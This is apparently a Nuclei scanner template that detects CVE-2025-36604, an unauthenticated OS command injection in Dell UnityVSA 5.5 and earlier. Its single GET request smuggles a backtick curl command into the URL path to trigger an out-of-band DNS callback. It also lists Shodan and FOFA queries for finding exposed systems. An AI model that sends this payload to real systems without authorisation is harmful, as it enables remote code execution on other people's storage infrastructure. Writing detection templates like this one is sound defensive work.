id: CVE-2025-36604 info: name: Dell UnityVSA < 5.5 - Remote Command Injection author: DhiyaneshDK,watchtowr severity: critical description: | Dell Unity, version(s) 5.5 and prior, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. impact: An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution. remediation: | Update to the latest version beyond 5.5. reference: - https://labs.watchtowr.com/its-never-simple-until-it-is-dell-unityvsa-pre-auth-command-injection-cve-2025-36604/ - https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604/blob/main/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py - https://nvd.nist.gov/vuln/detail/CVE-2025-36604 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-36604 epss-score: 0.18504 epss-percentile: 0.95369 cwe-id: CWE-78 cpe: cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 shodan-query: title:"Unisphere" fofa-query: title="Unisphere" tags: cve,cve2025,dell,unityvsa,rce,vkev,vuln http: - method: GET path: - "{{BaseURL}}/misc/`curl${IFS}{{interactsh-url}}`/..;/index.html" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "getUrlVars")' - 'contains(content_type, "text/html")' - 'contains(interactsh_protocol, "dns")' condition: and # digest: 4a0a00473045022009ebd1b8f2a8dea30a19ca489b50f59c928a37deb2579c20360d71074c036fb0022100888e521c19bbf691b72cf0f2a80a22498a45d4ed82b41285d97b96332f9467b3:922c64590222798bb761d5b6d8e72950